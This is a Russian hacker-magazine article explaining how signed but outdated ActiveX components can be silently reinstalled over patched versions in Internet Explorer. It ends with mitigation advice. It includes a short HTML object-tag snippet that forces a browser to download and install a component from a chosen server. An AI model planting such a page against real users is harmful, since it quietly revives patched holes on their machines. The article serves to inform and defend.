Недоработки есть буквально в любой программе, их надо только найти — это знают все. И когда эти баги находят — производитель выпускает патч (заплатку), а пользователи, как водится, его скачивают — скачали и гуляют себе дальше по инету, не боясь злобных дядек-хакеров.

Самый известный производитель патчей, как ты наверно знаешь — Microsoft Corporation. Производство патчей здесь поставлено на широкую ногу — пятилетний план выполняется за год под лозунгом: каждому продукту по шесть сервис-паков ;-).

Вот… надо бы на учредить ежегодную премию за самый бажный продукт»… Так, о чем это я ? Ах, да: изредко, гении Корпорации отвлекаются от производства патчей и позволяют себе расслабиться — изобрести пару-тройку интернет-технологий. И в период одной из таких «релаксаций» гений Корпорации взял, да и родил ActiveX…
Баги возвращаются снова!

ActiveX — набор технологий, позволяющий компонентам программного обеспечения взаимодействовать друг с другом в сетевой среде, независимо от использовавшегося для их создания языков программирования.

Так определяет ActiveX сама Корпорация. Нас же интересуется исключительно возможность загрузки/установки/запуска на машине пользователя различных приложений/файлов. Ты наверно уже встречался с этим (к примеру, если приходил на Х без flash-player`a, то тебе предлагало его установить).

Как ты понимаешь, установка приложений на машине пользователя — это дыра огромнейшая, и поэтому в чью-то светлую голову пришла мысль снабжать загружаемые компоненты ActiveX цифровой подписью. Цифровая подпись должна быть свидетельством того, что данный компонент действительно произведен Некой Компанией и не был изменен с момента выдачи сертификата. Нужно сразу оговориться — сертификат удостоверяет авторство, но не удостоверяет качество продукта. Поэтому не существует никакой гарантии того, что продукт не содержит в себе 666 багов, которые делают его использование попросту опасным.

Исходя из этих соображений, Корпорация снабдила своего ослика настройками, которые определяют его поведение относительно ActiveX, как то: выполнять/не выполнять, загружать/не загружать, в том числе с разделением на подписанные и не подписанные. Компонент, не снабженный цифровой подписью, пользователь имеет возможность лицезреть только на уровне безопасности «низкий» (на остальных они просто не загружаются).

При загрузке же «подписанного» компонента пользователь имеет возможность
изъявить свое желание «всегда доверять содержимому, полученному от XXX» (где XXX — производитель программного обеспечения, к примеру, Microsoft Corporation). И тут кроется самая большая дыра — если пользователь установит данный флажок, то отныне компоненты, помеченные цифровой подписью данного производителя будут загружаться и устанавливаться вообще без предупреждения! (это конечно зависит от настроек браузера, но по дефолту — именно так).

А теперь давай вернемся к тому бажному элементу, о котором мы уже говорили — предположим он содержал действительно очень опасные дырки и половина из них была исправлена. Что делает производитель? Правильно — он выпускает новую версию, снабжает ее своей подписью. Пользователи скачивают ее и все довольны… Но ведь старая версия (та, в которой 666 неисправленных багов) все еще имеет правильную подпись и может быть все еще доступна на тех или иных серверах (а может быть и специально выложена, на том сервере, куда дядька хакер заманивает жертву). Что же происходит, когда пользователь заходит на подобный сервер? А очень просто — компонент
заново устанавливается, т.е. бажная версия заменяет новую, исправленную; причем, если пользователь установил флажок «всегда доверять», то это происходит вообще незаметно для пользователя… 
Да, старые дырки снова оживают, а пользователь может об этом даже не догадываться!

Делается это с помощью простой html-страницы, содержащей следующий код:

<object id=»o1″ codebase=’http://server/ваш_файл’ 
classid=»clsid:11111111-1111-1111-1111-111111111112″>
</object>

1. server/ваш_файл — путь к вашему файлу (для примера возьмите любой cab-файл от Microsoft, он имеет их цифровую подпись).

2. classid — идентификатор (можете придумать сами).

Насколько это угроза реальна? Ответ — очень
реальна и серьезна. К примеру, человек открывший и описавший эту уязвимость (к слову сказать, гений багтрека) — Georgi Guninski провернул анти-патч своего Office XP, в результате чего у него заработала дырка, открытая им же и пофиксенная Microsoft год назад!

Методы минимизации риска:

  • Грамотно настройте свой браузер: не пользуйтесь предопределенными настройками в виде «уровней безопасности» — настраивайте сами, тем более, что это предельно легко.
  • Никогда не устанавливайте флаг «всегда доверять» — в таком случае у вас будет хотя бы возможность выбора.

Кстати, если тебе уже «посчастливилось» иметь доверительные отношения, хотя бы с той же Microsoft, то направь свой меткий глаз в реестр по адресу:
HKEY_CURRENT_USER\Software\Microsoft\ Windows\CurrentVersion\WinTrust\Trust
Providers\ Software Publishing\Trust Database и удали там ненужные строки.

А вообще, чем больше читаешь багтрек, тем больше склоняешься к решению, которое предлагает сам Georgi Guninski — думаю будет понятно и без перевода:

Uninstall your Windows

Оставить мнение

Check Also

Целенаправленная социальная инженерия. Нестандартные техники введения в заблуждение

В предыдущей статье мы разобрали массовые атаки. Но их применимость ограничена: пентестер …